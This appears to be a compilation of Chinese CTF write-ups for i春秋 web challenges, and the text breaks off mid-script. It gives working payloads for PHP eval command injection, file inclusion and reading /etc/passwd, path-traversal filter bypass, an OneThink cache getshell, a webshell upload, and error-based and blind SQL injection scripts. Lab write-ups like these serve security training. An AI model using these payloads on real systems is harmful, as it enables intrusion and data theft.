題目名稱:時間

題目內容:

時間是寶貴的。(i春秋waf可能會ban請求過快的玩家,請自行解決)

題目writeup:

PHP源碼為:
<?php 
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__); // show_source() :函數對文件進行語法高亮顯示
if ($_COOKIE['token']=='hello'){ // 取COOKIE里面token的值 如果等於 hello,就執行下面的代碼
  $txt = file_get_contents('flag.php'); // file_get_contents() 函數把’flag.php‘文件讀入到$txt變量中
  $filename = 'u/'.md5(mt_rand(1,1000)).'.txt'; // mt_rand()是取隨機數的,與rand()區別是比rand()快4倍,而且如果mt_rand(1,10)的話1和10都會取得到的
// 通過md5對mt_rand取值的加密然后通過拼接'u/'和'.txt'得到文件的名字存入到$filename中
  file_put_contents($filename,$txt); // file_put_contents() 函數把$txt存的內容寫入到$filename的文件中取
  sleep(10); // 休眠10秒
  unlink($filename); // unlink() 函數刪除文件
}

說明我們訪問這個網站的時候,在網站目錄里面會隨機生成一個文件包含flag.php的內容,但是我們只有10秒的時間取訪問它,10秒過后會自動刪除。

所有我們來跑目錄,這里我們需要把所有會出現的文件名的可能性都列出來當成字典來跑.

MD5加密python腳本:

hash = hashlib.md5()

hash.update('加密的文本'.encode('utf-8'))

print(hash.hexdigest())

參考:https://www.cnblogs.com/wang-yc/p/5616663.html

下面使用python腳本生成隨機名的字典:

import hashlib

import requests

file = open("data.txt",'w+')

for i in range(1,1001):

  m = hashlib.md5()

  m.update(str(i).encode())

  mid = m.hexdigest()

  url = 'u/'+mid+'.txt'

  file.write(url+'\n')

file.close()

生成的字典如下:
先刷新下網頁,然后通過御劍對網站的URL鏈接進行FUZZ,注意網址后面需要加/,線程最好是30,,掃描出來的鏈接地址並打開網頁,總共需要的時間在10秒內需要完成。
注意:若超過十秒 即使已經掃描到了也會訪問不到 因為文件已經被刪除

最終flag:
flag{a157eb5d-aa59-43b0-95ae-4994a1794749}



題目名稱:象棋

題目內容:開心的玩游戲吧

題目witeup:

啟動題目場景,獲得靶場網站,訪問網站,發現是一場象棋游戲

對其查看源代碼,發現 js/[abcmlyx]{2}ctf[0-9]{3}.js是有問題,該文件名是正則表達式

打開該文件,發現無法訪問,初步判斷該js文件含有flag相關的提示。可以看到題目給出的js文件名並不正確,給出的應該是包含正確文件名的正則表達式。開頭兩個字符由“abcmlyx”中選擇,之后接“ctf",然后是3位數字+”.js



那么爆破出正確文件名,js文件內容即為flag

!/usr/bin/python
# coding=utf-8
# Author=haya
import urllib2
from multiprocessing.dummy import Pool as ThreadPool
urllist = []
re1 = 'myx'
re2 = '012346789'
url = 'http://d0fdd193e2fa40ab9287e6c40341ef4fc310ea9b723f4b84.game.ichunqiu.com/js/'
pool = ThreadPool()
def url_list():
    for i in re1:
        for j in re1:
            for k in re2:
                for l in re2:
                    for m in re2:
                        urllist.append(url+i+j+'ctf'+k+l+m+'.js')
    return urllist

def url_open(url):
        try:
            result = urllib2.urlopen(url).read()
            if '404' not in result:
                print url+result
        except:
            pass


def main():
    urllist = url_list()
    pool.map(url_open, urllist)
    pool.close()
    pool.join()

if __name__ == '__main__':
    main()


或者
通過python腳本生成JS字典
key1 = "abcmlyx"

key2 = "0123456789"

file = open("url.txt", "w+")

for a in key1:

for b in key1:

for c in key2:

for d in key2:

for e in key2:
url = "/js/" + a + b + "ctf" + str(c) + str(d) + str(e) + ".js" + "\n"

file.write(url)
通過御劍目錄掃描工具對其JS字典進行爆破
訪問JS文件最終得到flag內容
http://96e86ebf651e46c3995caf7ee93dda4e5b2b46738063401f.changame.ichunqiu.com/js/myctf801.js


最終flag:
flag{1f330869-02c0-41ca-94ff-3276a5efae04}

題目名稱:爆破-2
題目內容:flag不在變量中
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現一段PHP代碼
http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/
PHP代碼:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

var_dump()會返回數據變量的類型和值

eval()會把字符串當作php代碼

方法一:通過 file_get_contents()函數讀取
由第一步可知,flag不在變量中
猜測flag在文件中,使用file_get_contents() 函數,其作用為把整個flag.php文件讀入一個字符串中.
查看源代碼發現flag
view-source:http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=file_get_contents(%27flag.php%27)

方法二:通過file()函數讀取 題目內容顯示flag不在變量中,可以推測flag在文件中,使用file函數進行文件包含 ?hello=file("flag.php"),獲得flag.php的內容.

http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=file(%22flag.php%22)
file() 函數把整個文件讀入一個數組中,並 將文件作為一個數組返回。數組中的每個單元都是文件中相應的一行,包括換行符在內。如果失敗,則返回 false。

方法三:通過show_source()函數讀取

?hello=1);show_source('flag.php');var_dump( eval語句變成:eval("var_dump(1);show_source(%27flag.php%27);var_dump();") show_source() 函數對文件進行語法高亮顯示。本函數是 highlight_file() 的別名。

注意:通過該函數在對eval()進行截斷重組時,要保持eval()函數內php代碼的正確性。本例中使用echo(1來補全代碼,也可使用//注釋掉多余的代碼。
構造:hello=1);show_source('flag.php');echo(1或hello=1);highlight_file('flag.php');echo(1
eval語句為:eval( "var_dump(1);show_source('flag.php');echo(1);");,可得flag。

http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=1);show_source(%27flag.php%27);var_dump(
方法四:通過Linux命令讀取
?hello=);echo%20`cat%20./flag.php`;//
eval語句變成:eval("var_dump();echo `cat ./flag.php`;//");
cat Linux中查看全部文件
./ 執行腳本

http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=);echo%20`cat%20./flag.php`;//
查看源代碼發現flag
view-source:http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=);echo%20`cat%20./flag.php`;//
最終flag:
flag{a53a7b5d-aefc-4052-8bc4-9123d217fb33}


題目名稱:爆破-1

題目內容:flag就在某六位變量中

writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現一段php代碼

php源碼:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){//正則表達式^匹配一行的開頭,$表示結束。\w表示匹配包括下划線的任何單詞字符,等價於'[A-Za-z0-9_]'。*號:匹配前面的子表達式零次或多次。
  die('ERROR');
}
eval("var_dump($$a);");//var_dump — 打印變量的相關信息
show_source(__FILE__);//__FILE__當前運行文件的完整路徑和文件名。
?>

                         
                         
                         
                                 
這個代碼的作用是如果匹配正則表達式/^\w*$/,就打印變量$$a $a是hello,$$a是六位變量$hello

兩個//表示開始和結束

^表示開始字符串

$表示結束字符串

\w表示包含【a-z,A-Z, _ , 0-9】

由於$a在函數中,所以函數之外無法訪問。如果要訪問,將hello修改為超全局變量GLOBALS。 在URL后加?hello=GLOBALS,將參數hello修改為Globals 實際執行語句:
eval("var_dump($$a);")
eval("var_dump($hello);")
eval("var_dump($GLOBALS);")
$GLOBALS的作用:引用全局作用域中可用的全部變量。
這樣就會打印出當前定義的所有變量,也包括 include 的文件中的變量,flag 也存在在這些變量中。
因此,post一個參數hello=GLOBALS  把所有變量都 dump 出來
http://54fbed0946d44bd2a402cab3e407aa034dd05f1886b34848.changame.ichunqiu.com/?hello=GLOBALS
最終flag:
flag{d2dc8746-f90d-4844-9436-105df210c437}

題目名稱:爆破-3
題目內容:這個真的是爆破
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,網站顯示了一段php代碼
http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/
php 代碼:
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

通過代審計可以得到信息

1、 有一個時間限制120(不清楚是分鍾還是秒,不過都不影響,時間都挺充足)

2、 whoami和nums的參數會改變(['nums']++; ['whoami'] = $str_rands;)

3、 由==可看出為弱判斷類型,可以用數組進行繞過,md5()==0

4.根據獲取到的信息構造payload        ?value[]=ea

5.代碼中提到需要提交大於10次,10次過后得到flag


簡單的說,就是一開始$_SESSION[‘nums’]是0,且$_SESSION[‘whoami’]是ea。每次傳入一個value,如果它的前兩位和whoami一樣,而且要求substr(md5($value),5,4)==0,

這樣nums就可以加一,$_SESSION['whoami]會再一次隨機。但是這個值會被打印出來。

后面的弱類型比較我們可以利用md5不支持數組這個漏洞,如果傳入md5函數的是一個數組,它會返回NULL。而NULL和0進行弱類型比較是‘相等的’,這樣就可以成功繞過

也就是第一次,傳入變量?value[]=ea,因此value[0]=ea    與whoami想等,所以nums++   (如果value[]=ea&value=es的話,value[0].value[1]=eaes)

然后隨意A-Z+A-Z,寫個腳本,把顯示出來的兩個隨機衣服在value[]=xx傳值進去,直到輸出flag   (千萬注意帶 session,保持一個回話)

先設置初始值nums=0,time是當前時間,whoami=ea。當whoami=value時,num+1,whoami=$str_rands,循環。nums>=10時,打印flag。120s后會話結束,由於時間120秒,完全可以手工做10次,即可得到flag。

方法:先設置數組value[]=ea

?value[]=ea,得到兩個字母,重新給value[]賦值,重復10次,得到flag


使用python腳本獲取flag:
import requests

url = "http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/?value[]=ea"

al = ['abcdefghijklmnopqrstuvwxyz']

s = requests.session()

r = s.get(url)

for i in range(20):
url = "http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/?value[]=" + r.content[0:2]
r = s.get(url)
print r.content
或者
import requests
url='http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/'
session=requests.Session()
html=session.get(url+'?value[]=ea').text
for i in range(10):
html=session.get(url+'?value[]='+ html[0:2]).text
print(html)
                        
                        
                        
                                
最終得到flag:
flag{a88328f0-3bd7-4716-8b40-2d2722a96ec7}

題目名稱:include

題目內容:沒錯!就是文件包含漏洞

題目writeup:

啟動題目場景,獲得靶場網站,訪問網站,發現是一個phpinfo函數顯示的php配置信息頁面

http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/

根據題目內容,既然是文件包含,我們查看文件包含 allow_url_include函數,發現是開啟狀態,那么可以用php://input偽協議進行文件包含
且網站也顯示了一段PHP代碼
<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
通過代碼分析,文件包含的參數變量為path,可文件包含讀取/etc/passwd內容
http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com?path=../../../etc/passwd
通過php;//input偽協議構造post數據包 執行php列出網站目錄文件的代碼,發現列出的文件dle345aae.php和flag有很大關聯性。
post:
<?php echo system('ls');?>
利用?path=/var/www/html/dle345aae.php包含 dle345aae.php文件並讀取其內容, 但是頁面和源碼沒有任何輸出
http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/?path=/var/www/html/dle345aae.php

使用php://filter協議查看dle345aae.php文件的內容,因為PHP文件不能直接顯示內容所以先base64顯示出來,然后再解碼。

php://filter 可以用於讀取文件源代碼,有的時候代碼輸出會被執行,可以使用base64加密的方式輸出。

使用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php讀取文件dle345aae.php base64內容,得到base64的falg值

http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

得到base64的flag值:PD9waHAgCiRmbGFnPSJmbGFnezk4NjYwZDIyLTNiY2ItNGUwMC1iMGJiLTc2NGQ1NzI4YzQxOH0iOwo=
解密base64得到內容:
<?php
$flag="flag{98660d22-3bcb-4e00-b0bb-764d5728c418}";
最終flag:
flag{98660d22-3bcb-4e00-b0bb-764d5728c418}

題目名稱:Zone

題目內容:網站要上線了,還沒測試呢,怎么辦

題目writeup:

啟動題目場景,獲得靶場網站,訪問網站發現是一個登陸頁面,這里爆破無果。

http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/login.php
點擊Mini-Zone,並通過burpsuit抓包,發現 cookie中的login=0有點特別,猜測修改其值,可邏輯繞過后台登錄。
那么我們嘗試將cookie 中login修改為1,並發送數據,可成功看到登錄后台主頁


先點擊 Mini-Zone鏈接,然后攔截抓包,並將修改為login=1,forward釋放攔截包,即可繞過后台登錄。
可以看到成功等到后台
點擊后台管理頁面中Manage鏈接,然后修改 為login=1,forward釋放攔截包,可跳轉到一個新的鏈接地址。
該鏈接地址為:http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=index&name=php
該鏈接地址中的 ?module=參數看起來是存在任意文件包含漏洞
這里通過文件包含讀取 etc/passwd內容,發現無法讀取,猜測../可能被過濾了。
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=../../../etc/passwd&name=php
輸入/manages/admin.php?module=ind../ex&name=php發現頁面正常顯示后台內容,於是猜想../被過濾了
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=ind../ex&name=php
所以將../改為..././,於是訪問/manages/admin.php?module=..././..././..././etc/passwd&name=txt,可以正常讀取/etc/passwd內容
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/passwd&name=txt
訪問不存在的目錄,發現該系統中間件服務器為nginx
linux下nginx的默認配置路徑為:/etc/nginx/nginx.conf
通過文件包含讀取nginx配置文件/etc/nginx/nginx.conf內容,可以正常讀取,且包含了網站的物理路徑配置文件名,文件名為sites-enabled/default
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name=txt
通過文件包含讀取nginx網站物理路徑配置文件sites-enabled/default內容,該配置文件默認路徑為:/etc/nginx/sites-enabled/default。
可正常讀取其內容,且網站的物理路徑為/var/www/html以及autoindex on開啟了目錄預覽功能,可目錄遍歷/online-movies目錄。
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=txt
遍歷/ online-movies目錄
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies/
使用../進行上級目錄遍歷,可遍歷到/online-movies../var/www/目錄,但是點擊html目錄就下載 index.php
/online-movies被替換成 /online-movies/
/online-movies../被替換成/online-movies/../
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies../var/www/
這時候我們根據配置文件里的其他信息可以知道/var/www/html是根目錄
訪問robost.txt.發現flag.php文件可以訪問,那么flag就存在flag.php中,且flag.php保存在默認根目錄/var/www/html下
因此我們訪問/var/www/html/flag.php就可以得到flag.php源碼,如果是文件就可以直接被下載。t本地通過記事本可以直接查看flag的內容:
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies../var/www/html/flag.php
最終flag:
flag{7d5081e9-8c46-44d8-92d8-20357d5862f0}

題目名稱:OneThink
題目內容:利用已知的漏洞拿shell吧
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,可以看到該網站的CMS框架是oneThink1.0
http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/
根據題目提示是利用已知的漏洞拿shell,於是搜索onethink1.0漏洞,找到 OneThink CMS的緩存漏洞的分析
在注冊頁面,首先注冊一個賬號%0aphpinfo();#
http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/index.php?s=/home/user/register.html

通過bupsuit對其抓包攔截
並將%0a進行二次url decode,以換行了為准,這里%oa是換行符的意思,緩存到文件的時候起換行作用,然后點擊forward,釋放攔截
可以看到成功注冊(需要注意驗證碼填入正確)
在登錄頁面輸入用戶名%0aphpinfo();# 密碼123456登錄系統,並對其進行抓包。然后將 %0a進行二次url decode,並點擊foreard,成功登錄系統

訪問Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php路徑文件,會發現phpinfo()被解析 ,文件名是固定不變的。緩存內容放到MD5(sys_active_user_list).php中。
http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php

就是注冊個賬號為:%0a$a=$_GET[a];//%0aecho `$a`;// 就可以getshell,但是提示注冊長度最多16個字符



所以分別注冊2個賬號:

賬號一:%0a$a=$_GET[a];//

賬號二:%0aecho `$a`;//

注冊賬號%0a$a=$_GET[a];//,並抓包,對%0a進行2次url編碼,然后forward

注冊賬號%0aecho `$a`;//,並抓包,對%0a進行2次url編碼,然后forward


登錄%0a$a=$_GET[a];並抓包對%0a進行2次url編碼,然后forward


登錄%0aecho `$a`;//並抓包,對%0a進行2次url編碼,然后forward




訪問Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls ../../目錄遍歷並查看源碼來查找flag,發現flag 在../../flag.php中

view-source:http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls%20%20../../


訪問Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php 獲取flag

view-source:http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat%20../../flag.php

最終flag:
flag{eb2966bf-be7f-4b26-a40a-be39d73d775c}

題目名稱:Upload
題目內容:來來來,都是套路,賊簡單
題目writeup:
啟動題目場景獲得靶場網站,訪問網站,發現頁面內容顯示"should be a fast man"
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/
對其主頁查看源碼,注釋中顯示需要提交post訪問且參數為ichunqiu。
view-source:http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/

在firefox瀏覽器中構造post參數: ichunqiu=111(參數任意)
然后對其buspuit抓包,發送請求,發現響應包的http頭部中包含flag關鍵字
但是每次發送相同的post數據包,響應頭中的flag值不一樣

對其flag的base64字符進行解密,發現解密后的字符都是不相同
根據上文中響應頁面內容中顯示be a fast man,就是說我們請求的速度不夠快,因此不能獲取到正確的值。
編寫腳本獲得:
import base64,requests
def main():
    a = requests.session()
    b = a.get("http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/")
    key1 = b.headers["flag"]
    c = base64.b64decode(key1)
    d = str(c).split(':')
    key = base64.b64decode(d[1])
    body = {"ichunqiu":key}
    f = a.post("http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/",data=body)
    print f.text
if __name__ == '__main__':
    main()

得到正確值:
Path:3712901a08bb58557943ca31f3487b7d
根據得到的值,可以看出這個值為路徑地址 3712901a08bb58557943ca31f3487b7d。
於是訪問3712901a08bb58557943ca31f3487b7d路徑,發現頁面內容顯示一個超鏈接“welcome@QAQ"
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d
點擊超鏈接,顯示了一個登陸頁面
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/action.php?action=login
通過dirsearch.py對網站根目錄進行目錄掃描,只發現主頁和登錄頁面。
python3  dirsearch.py   -u  http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/

再次通過direarch.py對網站的 3712901a08bb58557943ca31f3487b7d進行目錄掃描,發現存在.svn敏感信息泄露
python3  dirsearch.py   -u  http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/
通過snv圖像化下載工具,發現並沒有可下載的,嘗試訪問svn目錄下存在的默認wc.db,可直接訪問
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/.svn/wc.db
得到用戶名為: md5(HEL1OW10rDEvery0n3)=8638d5263ab0d3face193725c23ce095

觀察登錄頁面得知 captcha 經過 MD5 之后的前六位為:159f69, 所以需要先求得對應的 captcha 才能提交.寫爆破驗證碼的腳本

import hashlib
def md5(s):
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):
for i in range(1,99999999):
if md5(i)[0:6] == str(s):
print(i)
exit(0)
if __name__ == '__main__':
main("159f69")
得到 驗證碼: 27521218

登錄頁面輸入用戶名: 8638d5263ab0d3face193725c23ce095,密碼: 123(任意),驗證碼:27521218

點擊 Submit 提交,發現窗口彈出顯示7815696ecbf1c96e6894b779456d330e.php
訪問 7815696ecbf1c96e6894b779456d330e.php文件路徑,得到一個文件上傳頁面
上傳一句話php木馬圖片馬,可成功上傳

上傳其他的.pht,可獲得flag

最終flag:
flag{3d9300a6-1967-48a5-b0d1-d14c3484d2fa}

題目名稱:Some Words
題目內容:find the flag
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,發現網站是一個博客
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php#
點擊我的消息,出現的id值猜測存在sql注入
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=1
加單引號,頁面報錯,顯示是mysql數據庫
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=1%E2%80%99
測試and 1, 發現and被過濾了
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1  and 1


測試or 1,發現or 1可用,因為1 or 1 的結果是1,所以顯示的結果是和id=1是一樣的
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1  or 1

報錯查詢數據庫
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 or 1=1
說明=已經被過濾
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 or 1>0
測試<和>發現可以使用

經過測試,發現題目攔截了union select,and,=等關鍵字,但是沒有攔截select mid from ascii等關鍵字,可以利用updexml()函數報錯


報錯查詢數據庫,得到數據庫名為words
?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)
或者
在報錯注入中還有一種簡單的方式判斷當前數據庫即構造?id=a()

該句表示在words數據庫中不存在a表


一次輸入以下函數得到的返回值:

user()          XPATH syntax error: '~root@localhost~'
database()     XPATH syntax error: '~words~'
version()         XPATH syntax error: '~5.5.57-0ubuntu0.14.04.1~'
@@datadir    XPATH syntax error: '~/var/lib/mysql/~'
查查看表的數量,得到表的數量為83
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) 
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) 
                                   
                                   
                                   
                                           
查找到 flag所在的表名, 爆破到83,顯示fl4g就是flag的表名
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 1,1),0x7e),1)
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)

查找表的數量,得到表的數量為811
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)

http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)

查找flag所在的字段,可通過二分爆破法進行爆破,這里最多爆破400次就被系統WAF攔截。爆破到808,顯示fl4g就是flag的字段名
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 0,1),0x7e),1)
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 811,1),0x7e),1)
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 808,1),0x7e),1)
查找f14g字段的內容,發現flag的字段不全
?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
得到前一大部分的flag:
flag{dcef7c2d-45cf-4f4e-bdbb-d6

既然flag字段顯示不全,於是想到利用sql語句的另一個函數reverse(),該函數可以顛倒數組中的順序
?id=updatexml(1,concat(reverse((select f14g from f14g))),1)
                                     
                                     
                                     
                                             
得到的值:}e8702f1e646d-bbdb-e4f4-fc54-d2c
那取反得到后一小部分flag:
c2d-54fc-4f4e-bdbb-d646e1f2078e}
最終得到flag:
flag{dcef7c2d-45cf-4f4e-bdbb-d646e1f2078e}

題目名稱:“迎聖誕,拿大獎”活動賽題---SQLi
題目內容:find the flag.
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,頁面是一個登陸頁面。
http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/
根據題目名稱 SQLi,猜測該題是一道SQL注入,那么我參數在登錄窗口中輸入用戶名 admin,密碼admin,提交並通過bupsuit對其抓包,發送請求,在響應頁面中顯示密碼錯誤,那么猜測用戶名admin是存在於網站中。
username=admin&password=admin
使用Burp Suite的intruder功能加載常用的鍵盤符號作為字典來fuzz 系統的waf測試,發現username是admin%的時候報錯

報錯的內容為sprint().

這里出現sprintf函數警告,查資料了解到,sprintf函數存在格式化字符串逃逸漏洞,由報錯可以看出sprintf參數少於%的個數,需要使用占位符的寫法,%1$可以逃逸引號的轉義;

了解后,我們令username是admin%1\$’ and 1=1%23和admin%1$’ and 1=2%23來判斷注入
為什么這樣呢?因為放到sprintf里面的字符可能會在之前被轉義了,因此我們利用%1$把分號轉義出的\吃掉,就可以成功閉合,然后在后面實現注入了。

sprintf格式化字符串所引起的漏洞,具體原理可以參考下面這篇文章:https://blog.csdn.net/WQ_BCJ/article/details/8505744(解析php sprintf函數漏洞)

測試: admin%1\$’ and 1=1%23
username=admin%1$\' and 1=1%23&password=admin
結果返回了username error!,按照一開始的測試來說,若and 1=1執行成功應該會返回password error!猜測and被過濾了,下面換成or語句測試

測試 admin%1$\' or 1=1%23
username=admin%1$\'  or  1=1%23&password=admin
結果返回了password error

測試: admin%1$\'  or  1=2%23
username=admin%1$\'  or  1=2%23&password=admin
結果返回了username error
若第一個提示password error,第二個提示username error則說明此處存在注入

看到sprintf函數時,我們就應該想到php的字符串格式化逃逸漏洞,這個漏洞導致的結果是會將%1$/’ 變為 ’ ,也就是說繞過了單引號的轉換,一般情況下sql語句中的單引號都會被轉換為\’ ,這不利於我們進行單引號的閉合,借此漏洞,我們完成對sql語句的注入.
* 由於該頁面的響應只有兩種,沒有顯位,即沒有回顯,我們無法直接通過頁面的顯示來得到數據庫內容,那么就只有通過布爾值盲注了。
* 布爾值無法用手工完成,要靠腳本完成,腳本如下:
方法一:

查看當前數據庫的長度:
#coding:utf-8
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://ad38630038fd4c87bd8e55c7bd876412d064d626a2e64cae.game.ichunqiu.com/'
for i in range(30):
    key = "admin%1$\\' or " + "(length(database())=" + str(i) + ")#"
    data = {'username':key, 'password':'111'}
    r = requests.post(url, data=data).content
    if right in str(r):
        print('the length of database is %s' %i)
得到數據庫的長度為3

查詢數據庫名稱:
# coding=utf-8
# Data: 2021/8/20 11:10
# File : database.py
import requests
import string



dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'

database = ''
for j in range(1,4):
for each in dic:
key = "admin%1$\\' or " + "(ascii(substr(database(),%s,1))="%j + str(ord(each)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
database += each
print(each)
break
print('the name of database is %s'%database)
得到數據庫名:ctf

腳本跑出表的長度:
# coding=utf-8
# Data: 2021/8/20 11:11
# File : tabe_length.py
import requests
import string

